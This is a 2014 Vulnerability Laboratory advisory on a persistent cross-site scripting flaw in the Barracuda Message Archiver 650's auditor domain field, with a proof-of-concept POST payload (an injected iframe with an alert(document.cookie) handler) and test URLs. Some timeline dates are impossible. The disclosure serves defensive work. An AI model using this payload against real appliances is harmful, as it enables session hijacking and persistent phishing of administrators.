209 lines
No EOL
9.2 KiB
Text
209 lines
No EOL
9.2 KiB
Text
Document Title:
|
||
===============
|
||
Barracuda Networks Message Archiver 650 - Persistent Input Validation Vulnerability
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=751
|
||
|
||
https://www.barracuda.com/support/knowledgebase/501600000013lXe
|
||
Barracuda Networks Security ID (BNSEC): 703
|
||
|
||
BNSEC-00703: Remote authenticated persistent XSS in Barracuda Message Archiver v3.2
|
||
Solution #00006604
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-07-18
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
751
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
3.6
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively
|
||
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By
|
||
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable
|
||
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.
|
||
|
||
* Comprehensive archiving
|
||
* Exchange stubbing
|
||
* Search and retrieval
|
||
* Policy management
|
||
* Intelligent Storage Manager
|
||
* Roles-based interface
|
||
* Reporting and statistics
|
||
|
||
The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an
|
||
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all
|
||
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered
|
||
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy
|
||
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to
|
||
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform
|
||
to protect against any potential security vulnerabilities.
|
||
|
||
(Copy of the Vendor Homepage: http://www.barracudanetworks.com )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Barracudas Messsage Archiver 3.2 Appliance Application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2013-11-08: Researcher Notification & Coordination (Benjamin Kunz Mejri)
|
||
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Program)
|
||
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Program)
|
||
2014-06-31: Vendor Fix/Patch (Barracuda Networks Developer Team - Reward: $$$)
|
||
2014-00-00: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Barracuda Networks
|
||
Product: Message Archiver 650 - Appliance Application 3.1.0.914
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
Medium
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
A persistent input validation web vulnerability has been discovered in the official Barracuda Networks Message Archiver 650 v3.2 appliance web-application.
|
||
The remote vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable application module.
|
||
|
||
The vulnerability is located in the `Benutzer > Neu Anlegen > Rolle: Auditor > Domänen` module. Remote attackers are able to inject own malicious script
|
||
codes in the vulnerable domain_list_table-r0 values. The execution of the script code occurs in the domain_list_table-r0 and user_domain_admin:1 appliance
|
||
application response context. The request method is POST and the attack vector is persistent on the application-side of the barracuda networks message
|
||
archiver web appliance.
|
||
|
||
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
|
||
Exploitation of the vulnerability requires a low privileged or restricted application user account with low or medium user interaction. Successful exploitation
|
||
of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of module context.
|
||
|
||
Request Method(s):
|
||
[+] POST
|
||
|
||
Vulnerable Module(s):
|
||
[+] Benutzer > Neu Anlegen > Rolle: Auditor
|
||
|
||
Vulnerable Input(s):
|
||
[+] Domänen
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] domain_list_table-r0
|
||
|
||
Affected Module(s):
|
||
[+] Rolle: Auditor Listing
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
The persistent web vulnerability can be exploited by remote attackers with low privileged or restricted application user account and low required user inter action.
|
||
For security demonstration or to reproduce the remote web vulnerability follow the provided information and steps below to continue.
|
||
|
||
--- PoC Session Logs [POST] ---
|
||
ajax_bc_sub=addDomain
|
||
domain=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C%20%20%22%3E%3Ciframe%20src
|
||
%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C
|
||
user=guest
|
||
password=75361da9533223d9685576d10bd6aa02
|
||
et=
|
||
1352520628
|
||
locale=de_DE
|
||
realm=
|
||
auth_type=Local
|
||
primary_tab=USERS
|
||
secondary_tab=per_user_add_update
|
||
|
||
|
||
PoC (URL):
|
||
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
|
||
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM
|
||
|
||
|
||
PoC: Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)
|
||
<td style="vertical-align:middle;text-align:left;white-space:nowrap">
|
||
%20"><iframe src="http://vuln-lab.com" onload="alert(document.cookie)" <=""
|
||
"="[PERSISTENT INJECTED SCRIPT CODE!]< </iframe><input name="user_domain_admin:1"
|
||
id="user_domain_admin:1" value=""[PERSISTENT INJECTED SCRIPT CODE!]" type="hidden"></td>
|
||
|
||
|
||
Reference(s):
|
||
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi
|
||
|
||
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
|
||
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM_0ne
|
||
|
||
|
||
|
||
Solution - Fix & Patch:
|
||
=======================
|
||
The vulnerability can be patched by a secure parse and encode of the vulnerable affected listing in the domain_list_table-r0 parameter(s).
|
||
|
||
Barracuda Networks Appliance: Advanced >Firmware Updates Page
|
||
https://www.barracuda.com/support/knowledgebase/501600000013lXe
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
The security risk of the application-side input validation web vulnerability is estimated as medium.
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |